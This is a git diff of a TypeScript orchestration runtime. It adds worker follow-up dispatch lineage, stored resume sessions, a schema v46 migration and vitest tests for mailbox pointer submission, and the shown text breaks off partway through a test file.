@@ describe('orchestration notification mailbox consistency', () => { } ) - it('releases staged pointer state when an explicit check owns the batch', async () => { - vi.useFakeTimers() - const db = new OrchestrationDb(':memory:') - const harness = createRuntime(db) - const run = createBoundRun(db, 'Explicit-check Run') - insertDirectRunMessage(db, run.id, 'Checked before Enter') - - await driveToLiveIdle(harness.runtime) - expect(pointerCount(harness.write)).toBe(1) - const checked = await checkBoundMailbox(harness.runtime) - expect(checked).toMatchObject({ runId: run.id, count: 1 }) - - await vi.advanceTimersByTimeAsync(500) - expect(harness.write.mock.calls.filter(([, payload]) => payload === '\r')).toHaveLength(0) - const redrive = vi.spyOn(harness.runtime, 'deliverPendingMessagesForHandle') - harness.runtime.onPtyExit(PTY_ID, 0) - await Promise.resolve() - expect(redrive).not.toHaveBeenCalled() - db.close() - }) - it('routes same-Run direct mail through the bound check and acknowledgment path', async () => { vi.useFakeTimers() const db = new OrchestrationDb(':memory:') diff --git a/src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts b/src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts new file mode 100644 index 00000000000..9527efcbbe2 --- /dev/null +++ b/src/main/runtime/orchestration-mailbox-typed-pointer-submit.spec.ts @@ -0,0 +1,62 @@ +import { rmSync } from 'node:fs' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { OrchestrationDb } from './orchestration/db' +import { + checkBoundMailbox, + createBoundRun, + createRuntime, + driveToLiveIdle, + insertDirectRunMessage, + pointerCount, + temporaryDirectories, + TERMINAL_HANDLE +} from './orchestration-mailbox-notification-test-harness' + +describe('orchestration typed pointer submission', () => { + afterEach(() => { + vi.useRealTimers() + for (const directory of temporaryDirectories.splice(0)) { + rmSync(directory, { recursive: true, force: true }) + } + }) + + it.each([ + ['claims', false], + ['reads', true] + ])('still submits a typed pointer when a check %s its mail before Enter', async (_name, ack) => { + vi.useFakeTimers() + const db = new OrchestrationDb(':memory:') + const harness = createRuntime(db) + const run = createBoundRun(db, 'Explicit-check Run') + const message = insertDirectRunMessage(db, run.id, 'Checked before Enter') + const enterCount = (): number => + harness.write.mock.calls.filter(([, payload]) => payload === '\r').length + + await driveToLiveIdle(harness.runtime) + expect(pointerCount(harness.write)).toBe(1) + const checked = await checkBoundMailbox(harness.runtime) + expect(checked).toMatchObject({ runId: run.id, count: 1 }) + if (ack) { + await checkBoundMailbox(harness.runtime, { ack: checked.deliveryId! }) + expect(db.getMessageById(message.id)?.read).toBe(1) + } + + await vi.advanceTimersByTimeAsync(500) + // A skipped Enter would strand the typed line and hold every later pointer as a draft. + expect(enterCount()).toBe(1) + expect(db.getMessageById(message.id)).toMatchObject({ + delivered_at: expect.any(String), + pointer_enter_pending: 0 + }) + + if (!ack) { + await checkBoundMailbox(harness.runtime, { ack: checked.deliveryId! }) + } + insertDirectRunMessage(db, run.id, 'Next wake') + harness.runtime.deliverPendingMessagesForHandle(TERMINAL_HANDLE) + await vi.advanceTimersByTimeAsync(500) + expect(pointerCount(harness.write)).toBe(2) + expect(enterCount()).toBe(2) + db.close() + }) +}) diff --git a/src/main/runtime/orchestration/db/contract-constants.ts b/src/main/runtime/orchestration/db/contract-constants.ts index cf3db3187d3..04192854ac6 100644 --- a/src/main/runtime/orchestration/db/contract-constants.ts +++ b/src/main/runtime/orchestration/db/contract-constants.ts @@ -16,4 +16,4 @@ export function federatedStubHomeRunId(dispatchId: string): string { export const LEGACY_CONTRACT_VERSION = 0 export const CURRENT_CONTRACT_VERSION = ORCHESTRATION_CONTRACT_VERSION -export const SCHEMA_VERSION = 45 +export const SCHEMA_VERSION = 46 diff --git a/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts b/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts new file mode 100644 index 00000000000..5e9a6c3a02c --- /dev/null +++ b/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts @@ -0,0 +1,193 @@ +import { + normalizeAgentProviderSession, + type AgentProviderSessionMetadata +} from '../../../../../shared/agent-session-resume' +import { + getConnectionExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host' +import type { ExactWorkerProviderSession } from '../../../../../shared/orchestration-worker-output' +import type { TuiAgent } from '../../../../../shared/tui-agent' +import { isTuiAgent } from '../../../../../shared/tui-agent-config' +import { isLocalHookConnectionId } from '../../../../../shared/wsl-hook-relay-contract' +import type { DispatchContextRow } from '../../types' +import type { WorkerTerminalResourceRow } from '../../worker-terminal-ownership' +import type { OrchestrationDb } from '../orchestration-db' + +/** The conversation a closed terminal worker reopens in, as the resume path takes it. */ +export type WorkerResumeSession = { + agent: TuiAgent + providerSession: AgentProviderSessionMetadata + captureHostId: ExecutionHostId +} + +export function getFollowUpDispatch( + db: OrchestrationDb, + dispatchId: string +): DispatchContextRow | undefined { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over this table is exactly its row shape. + return db.db + .prepare('SELECT * FROM dispatch_contexts WHERE follow_up_of_dispatch_id = ?') + .get(dispatchId) as DispatchContextRow | undefined +} + +/** A worker's newest Dispatch and resource, from any Dispatch it ran; follow-ups and `worker-start --terminal` both continue it. */ +export function resolveWorkerLineage( + db: OrchestrationDb, + dispatchId: string +): { latest: DispatchContextRow; resource: WorkerTerminalResourceRow | undefined } | undefined { + const addressed = db.getDispatchContextById(dispatchId) + if (!addressed) { + return undefined + } + let latest = addressed + const resourceOf = (id: string) => + db.getWorkerTerminalResourceByOwner(id) ?? db.getWorkerTerminalResourceFormerlyOwnedBy(id) + const seen = new Set([latest.id]) + // A follow-up that never got a worker continues the nearest one before it that did. + let resource = resourceOf(latest.id) + for (let back = addressed; !resource && back.follow_up_of_dispatch_id;) { + const prior = db.getDispatchContextById(back.follow_up_of_dispatch_id) + if (!prior || seen.has(prior.id)) { + break + } + seen.add(prior.id) + back = prior + resource = resourceOf(prior.id) + } + for (;;) { + const transferred = resource && resource.owner_dispatch_id !== latest.id ? resource : undefined + const next = + getFollowUpDispatch(db, latest.id) ?? + (transferred ? db.getDispatchContextById(transferred.owner_dispatch_id) : undefined) + if (!next || seen.has(next.id)) { + return { latest, resource } + } + seen.add(next.id) + latest = next + resource = resourceOf(next.id) ?? resource + } +} + +export function readWorkerResumeSession( + resource: Pick | undefined +): WorkerResumeSession | null { + if (!resource?.resume_session) { + return null + } + try { + const parsed: unknown = JSON.parse(resource.resume_session) + if (typeof parsed !== 'object' || parsed === null) { + return null + } + const agent = 'agent' in parsed ? parsed.agent : undefined + const connectionId = 'connectionId' in parsed ? parsed.connectionId : undefined + const providerSession = normalizeAgentProviderSession( + 'providerSession' in parsed ? parsed.providerSession : undefined + ) + return isTuiAgent(agent) && + providerSession && + (connectionId === null || typeof connectionId === 'string') + ? { agent, providerSession, captureHostId: getConnectionExecutionHostId(connectionId) } + : null + } catch { + return null + } +} + +/** Keep the agent's conversation on its worker's row while hook rows still name it; they vanish with the pane. */ +export function recordWorkerResumeSession( + db: OrchestrationDb, + resourceId: string, + session: ExactWorkerProviderSession | null +): void { + if (!session || !isTuiAgent(session.agent)) { + return + } + // WSL relay tags are local transport; only SSH connection IDs identify remote hosts. + const connectionId = isLocalHookConnectionId(session.connectionId) + ? null + : (session.connectionId ?? null) + const value = JSON.stringify({ + agent: session.agent, + providerSession: session.providerSession, + connectionId + }) + // A repeat of the stored conversation writes nothing. + db.db + .prepare( + 'UPDATE worker_terminal_resources SET resume_session = ? WHERE id = ? AND resume_session IS NOT ?' + ) + .run(value, resourceId, value) +} + +/** A reopened worker keeps its conversation until its own pane reports one. */ +export function carryWorkerResumeSession( + db: OrchestrationDb, + toDispatchId: string, + from: Pick +): void { + db.db + .prepare( + `UPDATE worker_terminal_resources SET resume_session = COALESCE(resume_session, ?) + WHERE owner_dispatch_id = ?` + ) + .run(from.resume_session, toDispatchId) +} + +/** Mail a coordinator sends a working worker, and so what continues one once it has reported. */ +export const FOLLOW_UP_MESSAGE_TYPES = ['status', 'dispatch', 'handoff'] as const + +const UNREAD_FOLLOW_UP_MAIL_SQL = `SELECT 1 FROM messages + WHERE to_handle = 'dispatch:' || dispatch_contexts.id AND read = 0 + AND delivery_contract = 'current_delivery' + AND type IN (${FOLLOW_UP_MESSAGE_TYPES.map((type) => `'${type}'`).join(', ')})` + +/** In the report's own settlement, so a restart cannot lose mail the worker never read. */ +export function markUnreadFollowUpMail(db: OrchestrationDb, dispatchId: string): void { + db.db + .prepare( + `UPDATE dispatch_contexts SET follow_up_mail_at = datetime('now') + WHERE id = ? AND EXISTS (${UNREAD_FOLLOW_UP_MAIL_SQL})` + ) + .run(dispatchId) +} + +/** A follow-up that did not start gives back the mail it took, unread where it was sent. */ +export function restoreFollowUpMail(db: OrchestrationDb, messageIds: readonly string[]): void { + if (messageIds.length > 0) { + db.db + .prepare( + `UPDATE messages SET read = 0, delivered_at = NULL WHERE id IN (${messageIds.map(() => '?').join(',')})` + ) + .run(...messageIds) + } +} + +export function clearFollowUpMail(db: OrchestrationDb, dispatchId: string): void { + db.db + .prepare('UPDATE dispatch_contexts SET follow_up_mail_at = NULL WHERE id = ?') + .run(dispatchId) +} + +export function listDispatchesWithFollowUpMail(db: OrchestrationDb): string[] { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this projection selects exactly the id column. + const rows = db.db + .prepare('SELECT id FROM dispatch_contexts WHERE follow_up_mail_at IS NOT NULL') + .all() as { id: string }[] + return rows.map((row) => row.id) +} + +/** The worker resource Orca still holds for a pane, whose conversation a provider-session change moves. */ +export function findHeldWorkerResourceForPane( + db: OrchestrationDb, + paneKey: string +): WorkerTerminalResourceRow | undefined { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over this table is exactly its row shape. + return db.db + .prepare( + `SELECT * FROM worker_terminal_resources + WHERE pane_key = ? AND ownership_state != 'released' ORDER BY updated_at DESC LIMIT 1` + ) + .get(paneKey) as WorkerTerminalResourceRow | undefined +} diff --git a/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts b/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts index f1e737e6713..f945c90bef8 100644 --- a/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts +++ b/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts @@ -1,3 +1,4 @@ +import { markUnreadFollowUpMail } from './worker-follow-up-lineage' import type { WorkerReportOutcome, WorkerReportSettlement } from '../../types' import type { OrchestrationDb } from '../orchestration-db' import { AGENT_PROMPT_STALLED_ERROR } from '../../../agent-prompt-submission-verification' @@ -283,6 +284,7 @@ export function settleWorkerReportInTransaction( this.armWorkerTerminalAutoReleaseStatement(params.dispatchId) } recordAcceptedReportFact(this, params) + markUnreadFollowUpMail(this, params.dispatchId) this.db.exec('RELEASE settle_worker_report') return { action: 'settled', outcome: params.outcome, duplicate: false } } diff --git a/src/main/runtime/orchestration/db/dispatch-row-writer.ts b/src/main/runtime/orchestration/db/dispatch-row-writer.ts index 2477f38ee00..69d6932c04c 100644 --- a/src/main/runtime/orchestration/db/dispatch-row-writer.ts +++ b/src/main/runtime/orchestration/db/dispatch-row-writer.ts @@ -38,8 +38,8 @@ WHERE id = ? AND status = 'ready' const STARTING_DISPATCH_CONTEXT_SQL = `INSERT INTO dispatch_contexts ( id, run_id, task_id, contract_version, launch_token_hash, retry_of_dispatch_id, creator_dispatch_id, creator_handle, creator_pane_key, creator_orca_session_id, depth, status, - failure_count, dispatched_at - ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', ?, datetime('now'))` + failure_count, dispatched_at, follow_up_of_dispatch_id + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', ?, datetime('now'), ?)` const REMOTE_DISPATCH_ATTACHMENT_SQL = `INSERT INTO remote_dispatch_attachments ( dispatch_id, home_run_id, task_id, home_peer_fingerprint, protocol_version, runtime_epoch, depth @@ -117,6 +117,7 @@ export function insertStartingDispatchContextRow( creatorPaneKey?: string | null creatorOrcaSessionId?: OrcaSessionId | null priorFailures: number + followUpOfDispatchId?: string | null } ): void { assertStampedDepth(params.depth) @@ -132,7 +133,8 @@ export function insertStartingDispatchContextRow( params.creatorPaneKey ?? null, params.creatorOrcaSessionId ?? null, params.depth, - params.priorFailures + params.priorFailures, + params.followUpOfDispatchId ?? null ) } diff --git a/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts b/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts index e41ee1f6549..3003b684bc5 100644 --- a/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts +++ b/src/main/runtime/orchestration/db/messages/mailbox-pointer-enter-state.ts @@ -127,8 +127,10 @@ export function settleMailboxPointerEnter( SET delivered_at = COALESCE(delivered_at, datetime('now')), pointer_enter_pending = 0, pointer_pty_id = NULL, pointer_process_incarnation = NULL - WHERE pointer_pty_id = ? AND pointer_process_incarnation = ? - AND pointer_enter_pending IN (${expectedPhases.map(() => '?').join(',')}) + WHERE ((pointer_pty_id = ? AND pointer_process_incarnation = ? + AND pointer_enter_pending IN (${expectedPhases.map(() => '?').join(',')})) + -- A check that read the mail cleared this claim; the pointer was still shown. + OR (read = 1 AND pointer_enter_pending = 0)) AND id IN (${placeholders})`, leadingParams: [target.ptyId, target.processIncarnation, ...expectedPhases] })) diff --git a/src/main/runtime/orchestration/db/orchestration-db.ts b/src/main/runtime/orchestration/db/orchestration-db.ts index 06cad2e3457..f56046e8076 100644 --- a/src/main/runtime/orchestration/db/orchestration-db.ts +++ b/src/main/runtime/orchestration/db/orchestration-db.ts @@ -47,6 +47,18 @@ class OrchestrationDbCore { // After every open step that creates Runs, before any step that deletes work. installRemovedWorkCapture(this.db, removedWorkCaptureWasIntact) backfillStructuredWorkerOrcaSessionIds(this.db) + this.db.exec(` + DROP INDEX IF EXISTS idx_dispatch_creator_account_work; + CREATE INDEX IF NOT EXISTS idx_dispatch_creator_mailbox_work + ON dispatch_contexts(creator_dispatch_id, status); + CREATE INDEX IF NOT EXISTS idx_runs_current_coordinator_handle ON runs(coordinator_handle); + CREATE INDEX IF NOT EXISTS idx_messages_native_account_work + ON messages(run_id, to_handle, type) + WHERE read = 0 AND delivered_at IS NULL AND delivery_contract <> 'audit_only'; + CREATE INDEX IF NOT EXISTS idx_messages_native_direct_work + ON messages(to_handle, type) + WHERE read = 0 AND delivered_at IS NULL AND delivery_contract <> 'audit_only'; + `) reconcileSettledWorkerDispatches(this.db) createCoordinatorMailRoutingTrigger.call(this as unknown as OrchestrationDb) rememberCurrentRunCoordinatorHandles.call(this as unknown as OrchestrationDb) diff --git a/src/main/runtime/orchestration/db/row-column-lists.ts b/src/main/runtime/orchestration/db/row-column-lists.ts index 52d6ea1989d..f6306ca3a97 100644 --- a/src/main/runtime/orchestration/db/row-column-lists.ts +++ b/src/main/runtime/orchestration/db/row-column-lists.ts @@ -62,7 +62,9 @@ export const DISPATCH_CONTEXT_COLUMNS = [ 'dispatched_at', 'completed_at', 'created_at', - 'last_heartbeat_at' + 'last_heartbeat_at', + 'follow_up_of_dispatch_id', + 'follow_up_mail_at' ] as const satisfies readonly (keyof DispatchContextRow)[] export const ATTEMPT_OBSERVATION_FACT_COLUMNS = [ diff --git a/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts b/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts index b8b76ce958c..523eae51824 100644 --- a/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts +++ b/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts @@ -194,7 +194,9 @@ CREATE TABLE IF NOT EXISTS worker_terminal_resources ( auto_release_at TEXT, auto_release_dispatch_id TEXT, created_at TEXT NOT NULL DEFAULT (datetime('now')), - updated_at TEXT NOT NULL DEFAULT (datetime('now')) + updated_at TEXT NOT NULL DEFAULT (datetime('now')), + -- JSON: the agent conversation a closed worker reopens in (WorkerResumeSession). + resume_session TEXT ); CREATE UNIQUE INDEX IF NOT EXISTS idx_worker_terminal_resources_owner diff --git a/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts b/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts index 7909839ec13..0be57654ebf 100644 --- a/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts +++ b/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts @@ -181,7 +181,11 @@ CREATE TABLE IF NOT EXISTS dispatch_contexts ( dispatched_at TEXT, completed_at TEXT, created_at TEXT NOT NULL DEFAULT (datetime('now')), - last_heartbeat_at TEXT + last_heartbeat_at TEXT, + -- The settled Dispatch whose worker this one continues (a follow-up sent to it). + follow_up_of_dispatch_id TEXT, + -- Set when the worker reported with coordinator mail unread; cleared once that mail continues it. + follow_up_mail_at TEXT ); CREATE INDEX IF NOT EXISTS idx_dispatch_task ON dispatch_contexts(task_id); diff --git a/src/main/runtime/orchestration/db/schema/migrate-v46.ts b/src/main/runtime/orchestration/db/schema/migrate-v46.ts new file mode 100644 index 00000000000..54d3ec75a39 --- /dev/null +++ b/src/main/runtime/orchestration/db/schema/migrate-v46.ts @@ -0,0 +1,21 @@ +import type { OrchestrationDb } from '../orchestration-db' + +/** A follow-up Dispatch's link to the worker it continues, mail its worker left unread when it reported, and the conversation a closed worker reopens. */ +export function migrateV46(this: OrchestrationDb, current: number): void { + if (current >= 46) { + return + } + if (!this.hasColumn('dispatch_contexts', 'follow_up_of_dispatch_id')) { + this.db.exec('ALTER TABLE dispatch_contexts ADD COLUMN follow_up_of_dispatch_id TEXT') + } + if (!this.hasColumn('dispatch_contexts', 'follow_up_mail_at')) { + this.db.exec('ALTER TABLE dispatch_contexts ADD COLUMN follow_up_mail_at TEXT') + } + if (!this.hasColumn('worker_terminal_resources', 'resume_session')) { + this.db.exec('ALTER TABLE worker_terminal_resources ADD COLUMN resume_session TEXT') + } + this.db.exec(` + CREATE UNIQUE INDEX IF NOT EXISTS idx_dispatch_contexts_follow_up_of + ON dispatch_contexts(follow_up_of_dispatch_id) WHERE follow_up_of_dispatch_id IS NOT NULL; + `) +} diff --git a/src/main/runtime/orchestration/db/schema/migrate.ts b/src/main/runtime/orchestration/db/schema/migrate.ts index bd4a8f0d2b0..e1ef08be235 100644 --- a/src/main/runtime/orchestration/db/schema/migrate.ts +++ b/src/main/runtime/orchestration/db/schema/migrate.ts @@ -16,6 +16,7 @@ import { migrateV42 } from './migrate-v42' import { migrateV43 } from './migrate-v43' import { migrateV44 } from './migrate-v44' import { migrateV45 } from './migrate-v45' +import { migrateV46 } from './migrate-v46' import { DROP_REMOVED_WORK_TRIGGERS_SQL } from '../reset/removed-orchestration-work-store' // CREATE TABLE IF NOT EXISTS won't alter existing tables; migrate atomically before bumping user_version. @@ -49,6 +50,7 @@ export function migrate(this: OrchestrationDb): void { migrateV43.call(this, current) migrateV44.call(this, current) migrateV45.call(this, current) + migrateV46.call(this, current) this.createMailboxDeliveryIndexesIfPossible() // Recreate derived objects after table rebuilds; existing views would prevent RENAME. this.db.exec(DERIVED_DELIVERY_SCHEMA_SQL) diff --git a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts index a20e483e7d1..f7d60beb56a 100644 --- a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts +++ b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts @@ -82,7 +82,7 @@ export function abandonWorkerDispatch( reconcileTaskAfterDispatchInterruption(this, dispatch.task_id, dispatchId) this.closeQuestionsForDispatch(dispatchId) const terminal = this.getWorkerTerminalResourceByOwner(dispatchId) - // Abandon hands an owned terminal back instead of closing it, by the same rule as worker-retain. + // Abandon hands an owned terminal back instead of closing it, by the same rule as worker-keep-open. if (terminal?.ownership_state === 'owned') { retainTerminalResourceInTransaction(this, terminal.id, dispatchId) } diff --git a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts index 02d57c9988f..405ec357e53 100644 --- a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts +++ b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts @@ -8,6 +8,7 @@ import { insertStartingDispatchContextRow } from '../dispatch-row-writer' import { recordedCreatorIdentity, type DispatchCreator } from '../dispatch-depth' import { transitionLifecycleWithDb } from '../lifecycle-transition' import { taskNotFoundError, taskNotStartableError } from '../../task-dispatch-refusal' +import { getFollowUpDispatch } from '../dispatch-context/worker-follow-up-lineage' export function createStartingWorkerDispatch( this: OrchestrationDb, @@ -43,6 +44,12 @@ export function createStartingWorkerDispatch( maxDepth: number /** A worker's own Dispatch that authorized this helper; it must still be the creator here. */ requiredCreatorDispatchId?: string + /** The settled Dispatch whose worker this follow-up continues; only one follow-up claims it. */ + followUpOf?: string + /** Another mutation's pending receipt (a send's follow-up), told what this start accepted. */ + acceptedBy?: { callerFingerprint: string; requestId: string } + /** Mail this start delivers as its Task, read in the same claim. */ + consumesMessageIds?: readonly string[] } ): { dispatch: DispatchContextRow; worker: WorkerDispatchRow; task: TaskRow } { this.db.exec('BEGIN IMMEDIATE') @@ -71,6 +78,14 @@ export function createStartingWorkerDispatch( ) .run(receipt.callerFingerprint, receipt.requestId, receipt.method, receipt.payloadHash) } + const claimedFollowUp = params.followUpOf ? getFollowUpDispatch(this, params.followUpOf) : null + if (claimedFollowUp) { + throw new OrchestrationError( + 'follow_up_claimed', + `Dispatch ${params.followUpOf} already continues as Dispatch ${claimedFollowUp.id}.`, + { followUpDispatchId: claimedFollowUp.id } + ) + } const task = params.taskId ? this.getTask(params.taskId) : params.taskSpec @@ -145,7 +160,8 @@ export function createStartingWorkerDispatch( { effectsApplied: false } ) } - if (params.mutationReceipt) { + const accepting = params.mutationReceipt ?? params.acceptedBy + if (accepting) { this.db .prepare( `UPDATE mutation_receipts @@ -154,10 +170,13 @@ export function createStartingWorkerDispatch( ) .run( JSON.stringify({ accepted: { taskId: task.id, dispatchId: id } }), - params.mutationReceipt.callerFingerprint, - params.mutationReceipt.requestId + accepting.callerFingerprint, + accepting.requestId ) } + if (params.consumesMessageIds?.length) { + this.markAsReadAndDelivered([...params.consumesMessageIds]) + } insertStartingDispatchContextRow(this.db, { id, runId: task.run_id, @@ -168,6 +187,7 @@ export function createStartingWorkerDispatch( retryOfDispatchId: params.retryOf ?? null, priorFailures, creatorDispatchId, + followUpOfDispatchId: params.followUpOf ?? null, ...recordedCreatorIdentity(params.creator) }) this.db diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts index 955b48d9a92..5b28d3582b3 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts @@ -234,7 +234,7 @@ export function retainWorkerTerminalResource( }) } -/** The execution host's half of a forwarded worker-retain. */ +/** The execution host's half of a forwarded worker-keep-open. */ export function retainRemoteAttachmentTerminalResource( this: OrchestrationDb, dispatchId: string diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts index 326b02cf20b..df2ab3fd573 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts @@ -2,7 +2,10 @@ import type { WorkerTerminalResourceRow, WorkerTerminalOwnershipState } from '../../worker-terminal-ownership' -import { WORKER_SETTLED_STATES } from '../../worker-terminal-ownership' +import { + USER_KEPT_WORKER_TERMINAL_SQL, + WORKER_SETTLED_STATES +} from '../../worker-terminal-ownership' import { OrchestrationError } from '../../orchestration-error' import { generateId } from '../generated-id' import type { OrchestrationDb } from '../orchestration-db' @@ -189,12 +192,15 @@ export function transferWorkerTerminalResourceStatement( } const priorOwners = JSON.parse(resource.prior_owner_dispatch_ids) as string[] priorOwners.push(resource.owner_dispatch_id) - // A coordinator's retain belongs to its Dispatch; a kept terminal is never transferred. + // A coordinator's retain belongs to its Dispatch; the user's Keep open belongs to the worker. this.db .prepare( `UPDATE worker_terminal_resources SET owner_dispatch_id = ?, prior_owner_dispatch_ids = ?, - release_state = 'not_requested', retained_reason = NULL, + release_state = CASE WHEN ${USER_KEPT_WORKER_TERMINAL_SQL} + THEN release_state ELSE 'not_requested' END, + retained_reason = CASE WHEN ${USER_KEPT_WORKER_TERMINAL_SQL} + THEN retained_reason END, release_requested_at = NULL, release_completed_at = NULL, release_error = NULL, auto_release_at = NULL, auto_release_dispatch_id = NULL, terminal_handle = ?, pane_key = ?, process_incarnation = ?, diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts index 342c99bb4a6..b1716a1d772 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-transfer.ts @@ -1,7 +1,4 @@ -import { - isUserKeptWorkerTerminal, - type WorkerTerminalResourceRow -} from '../../worker-terminal-ownership' +import type { WorkerTerminalResourceRow } from '../../worker-terminal-ownership' import { OrchestrationError } from '../../orchestration-error' import { isEquivalentPaneKey } from '../pane-key-match' import type { OrchestrationDb } from '../orchestration-db' @@ -44,12 +41,6 @@ export function findTransferableWorkerTerminalResource( `Terminal ${params.terminalHandle} has a release in progress; wait for cleanup or use another terminal.` ) } - if (exact.some(isUserKeptWorkerTerminal)) { - throw new OrchestrationError( - 'terminal_kept_open', - `Terminal ${params.terminalHandle} was kept open by the user; start the worker in another terminal.` - ) - } return exact.find( (candidate) => candidate.ownership_state === 'owned' && diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts index 789c343e7fc..976eb32deab 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-user-keep.ts @@ -51,7 +51,7 @@ const KEEPABLE_RESOURCE_SQL = `ownership_state = 'owned' AND (release_state = 'n const KEPT_RESOURCE_SQL = `ownership_state = 'owned' AND ${USER_KEPT_WORKER_TERMINAL_SQL}` -/** Keep open: neither Orca nor the coordinator closes or reuses the worker until the user allows auto-close. */ +/** Keep open: neither Orca nor the coordinator closes the worker until the user allows auto-close; follow-ups keep it kept. */ export function keepWorkerTerminalOpen(this: OrchestrationDb, paneKey: string): number { this.db.exec('BEGIN IMMEDIATE') try { diff --git a/src/main/runtime/orchestration/mailbox-pointer-stage.test.ts b/src/main/runtime/orchestration/mailbox-pointer-stage.test.ts index ea929606c42..23d4fe37951 100644 --- a/src/main/runtime/orchestration/mailbox-pointer-stage.test.ts +++ b/src/main/runtime/orchestration/mailbox-pointer-stage.test.ts @@ -110,26 +110,6 @@ describe('mailbox pointer staging watermark', () => { db.close() }) - it('keeps the watermark for the flight that owns the reservation', () => { - const db = new OrchestrationDb(':memory:') - const message = db.insertMessage({ - runId: 'run_legacy_local', - from: 'a', - to: 'run:run-1', - subject: 's' - }) - const state = new OrchestrationMailboxPointerState() - const args = stageArgs(db, state) - stageOrchestrationMailboxPointer({ - ...args, - deps: { ...args.deps, writePty: () => WRITE_ACCEPTED }, - messages: [{ id: message.id, type: 'status', sequence: 1 }] - } as never) - - expect(state.hasActiveWatermark('run:run-1')).toBe(true) - db.close() - }) - it('drains a delivery parked behind the watermark when the write is refused', () => { const db = new OrchestrationDb(':memory:') const message = db.insertMessage({ diff --git a/src/main/runtime/orchestration/mailbox-pointer-stage.ts b/src/main/runtime/orchestration/mailbox-pointer-stage.ts index 19db0259196..ee1a7d18185 100644 --- a/src/main/runtime/orchestration/mailbox-pointer-stage.ts +++ b/src/main/runtime/orchestration/mailbox-pointer-stage.ts @@ -129,20 +129,6 @@ function finishPointerWriteAndStageEnter submitOrchestrationMailboxPointer( { @@ -150,7 +136,6 @@ function finishPointerWriteAndStageEnter { state, getDb: () => db, resolveSubmitTarget: () => expectedTarget, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -153,7 +152,6 @@ describe('orchestration mailbox pointer submit', () => { settleMailboxPointerEnter: vi.fn() }) as never, resolveSubmitTarget: () => target, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -210,7 +208,6 @@ describe('orchestration mailbox pointer submit', () => { settleMailboxPointerEnter: vi.fn() }) as never, resolveSubmitTarget: () => target, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput, writePty, @@ -289,7 +286,6 @@ describe('orchestration mailbox pointer submit', () => { settleMailboxPointerEnter }) as never, resolveSubmitTarget: () => currentTarget, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -414,7 +410,6 @@ describe('orchestration mailbox pointer submit', () => { state, getDb: () => ({ areUnreadMessages: () => true, releaseMailboxPointerEnter }) as never, resolveSubmitTarget: () => ({ ...expectedTarget, processIncarnation: 'inc-replaced' }), - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async () => false, isPtyAwaitingUserInput: () => false, writePty, @@ -472,7 +467,6 @@ describe('orchestration mailbox pointer submit', () => { } }) as never, resolveSubmitTarget: () => null, - getMessageWaiters: () => undefined, isLeafPtyProvenAbsent: async 